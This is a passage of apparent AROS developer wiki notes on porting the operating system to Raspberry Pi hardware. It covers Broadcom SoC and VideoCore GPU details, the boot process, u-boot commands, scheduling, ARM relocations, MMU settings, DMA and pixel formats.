2592 x 1944 pixels ====BCM2711==== With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 the 2711b line used more power when idle, compared to the 2711c *2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues *2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design *Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE *[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles. The instruction encoding for the QPUs is different, but the core instructions are the same. Instructions for packed 8 bit int math has been dropped, along with most of the pack modes. Instructions for packed 16bit float math has been added (2 floats at in a single operation) With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register. the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of "one read port, one write port" to one "two read ports, one write port" block) The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. *vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers. *vc5 added a four thread per QPU mode, with 16 registers per thread. *vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads. With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer) A MMU, allowing a much simpler/faster kernel driver. Many more texture formats, framebuffer formats. All the features needed for opengl es 3.0 H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1 HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised Possible maximum performance <pre> VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s </pre> Faster LPDDR4 memory. ====BCM2837==== With the Pi3 * Broadcom BCM43438 chip provides 2.4&nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. Dual VDP and scalable QPU in VC4 ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. ===32bit=== === Core Kernel === ====BCM2708(family)==== which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM) *Framebuffer (fb) using mailbox *IRQ scheduler, etc *Arasan based SD Card controller *Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&view=article&id=106:rasperry-pi-usb-controller&catid=45:raspberry-pi&Itemid=54 Unofficial DOCS pdf], [dwc_otg.c FreeBSD], [], [https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], *[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip *CMOS RAM *VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc *Audio Driver *Serial Peripheral Interface Bus (SPI) *[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers] *I2S *Universal Asynchronous Receiver Transmitter (UART) *[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO] BCM2836 * For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board *[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features], Implemented so far... # Modify the configure system so that it correctly builds for the arm hardware float raspi target. # Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display. # Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function. # Implemented serial debug support # Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc) # Implemented a timer.device to utilise the hardware timers. # Implemented a very basic gfx driver to expose the hardware's framebuffer. # Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media. # Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The "rom" image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot. # Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else. # fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi .. Improvements... # Implement a USB chipset driver "OR" finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the "virtual" hub code in place to represent the raspi's USB port (from poseidons p.o.v) # Implement a driver for the USB NIC (a few weeks - depends on USB above) # Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI] # fix syscall bug in the current raspi kernel code # Graphics depend on having a decent "bcmdma.resource" implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for "blitting". # [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] # [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 # The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate. Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition. The boot sequence carries out several pre-boot tasks *On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf *The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it *configures the memory split for the CPU and GPU *reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings) *loads the “kernel.img” file, again from the same partition *activates the CPU to begin executing the loaded kernel image The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU. RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named "kernel.img" at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem) Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf. You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling. At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules <pre> ? - alias for 'help' mtest - simple RAM test autoscr - run script from memory base - print or set address offset bbm - BBM sub-system bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print online help iminfo - print header information for application image itest - return true/false on integer compare jade - loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) pci - list and access PCI Configuration Space ping - send ICMP ECHO_REQUEST to network host printenv - print environment variables rarpboot - boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage saves - save S-Record file over serial line setenv - set environment variables sleep - delay execution for some time tftpboot - boot image via network using TFTP protocol USB - USB sub-system usbboot - boot from USB device version - print monitor version </pre> And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way... u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot. Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1, the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS routed only raw hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt. 1:1 relationship between CPU and hardware interrupts is present only on PC. IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class. PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant to be different, its IRQs are hardware-agnostic, they are plain "Hardware IRQ number X, whatever this means". They are low-level actually, and meaningful only in the context of a particular system. Was that not the transition from irq.hidd to kernel.resource? No. A long time ago there was another hacky bit named INTB_TIMERTICK. It was "abstract timer interrupt", used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea. Can someone please enlighten me a little on how the scheduler is meant to work? Poseidon.library creates its "Poseidon Event Task" during RTF_COLDSTART -> then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example. You miss what happens next... 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch(). 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible: 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run. 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list. My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop. There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures. The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table. The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :) Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this: movw r0, #:lower16:label movt r0, #:upper16:label In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations. There are two options - the first one would be to give up and go back to "fake" executables, another one would be to change from REL to RELA relocation info. The latter contains an addend, extra data which can be used to perform all the relocation calculations I need. Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. GPU VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU. Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute. The good news about this is that we only need to write our HIDD using the OpenVG API. The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf). That's also the bad news. Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much. It's still probably less difficult and less work, than controlling the GPU directly. The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated. It also has some nice font functions, meaning we can lead into an accelerated text mode later. Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC. If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected. have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled. If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work. L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled. Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics. Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever. I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp). #warning "TODO: lookup optimal mmu table settings for raspi memory" /* Set up an identity-mapping for all 4GB */ for(x = 0; x < 4096; x ++) { pagetable[x] = x<<20 | (0x40002|0x80000|0x010000|0x00C00|0x04); } Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages? Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device). You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached) So .. pagetable[x] = x<<20 | 2; should be enough? No, for RAM you need to change the '| 0x40' to '| 0x80' tell dosboot the correct defaults to use Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead, display drivers should auto-install themselves during own initialization phase. I. e. detect hardware=>instantiate itself. This should make things way simpler. With this approach you only need to add the driver into KS image to get the device autobooted. No hardcoded stuff. Currently VESA and VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it. they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context). AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM marked as chip. BTW, is the video processing code you mention CPU code or GPU code? Also, IIRC we have support for "external memory allocators". Perhaps that's what we need for the allocation of GPU RAM through the mailbox. All hosted and x86 native ports should use proper context formats. trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET). Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units. The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ. Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port? It provides a before-anything-else shell prompt on the serial port. You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource. You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs. So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work. Also make sure to add shell.resource and shellcommands.resource for this. That should have done it. If you set "#define DEBUG 1" in arch/all-native/econsole/econsole.c, do you get any additional serial output? have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display? Im assuming it exposes a fake filesystem that tricks aros into booting? The contents of which are: ECON:AROS.boot Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm. To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen. Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks). have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress.. was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression. Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks. Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right) The _LE versions are for when you have endian swapping taking place. If the graphics are the same endian as the CPU, no swapping should occur. I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian. It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary. They were both little-endian. The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode). What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest? Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems? You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it. So, AROS creates the framebuffer bitmap (verified this) -> so surely it should be capable of then rendeing into it? I don't actually create the framebuffer "bitmap object" myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback. In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) So far have -: vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object. vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer, vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. RasPi has to speak to the "operating system" which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls. The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required. The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied. The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds). must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. For 2D dma, set TDMODE, and the spec says "interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer." so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data. The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out). openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits. Actually MEMF_CHIP has to present, for historical reasons. This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP. Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting. As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there. struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi. AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol. <pre> redmask: 0x0000F800 greenmask: 0x000007E0 bluemask: 0x0000001F alphamask: 0 redshift: 16 greenshift: 21 blueshift: 27 alphashift: 0 </pre> It should likely be vHidd_StdPixFmt_RGB16_LE This stuff is a bit confusing. The "names" of the stdpixfmts are based on the layout in memory, ignoring endianess. So for example: ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines. The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and stdpixfmt_be.h in rom/hidds/graphics/). With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine to describe RGB16 with shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag. (RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to be accessed as GGGBBBBBRRRRRGGGG). The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31). The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered, the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt->stdpixfmt) already in the system, and if so, it uses the already existing one and does not create a new one. In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt tag list based on that. 15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5 (or swapped) but it's actually still using 16 bit R5G6B5 (or swapped). aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count. But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses in the entry where you have looked up shifts/masks/etc. Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you are running on little endian machine) that matches the pixfmt that its meant to be. 0xAA,0xRR,0xGG,0xBB on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32) 0xAA,0xRR,0xGG,0xBB on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32) it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B. read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment . Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening. The output image looks to have too much green/blue, and very weak red. Kickstart The idea is to minimize amount of archirecture-specific modules to make the user's life easier. So, the kickstart was split into 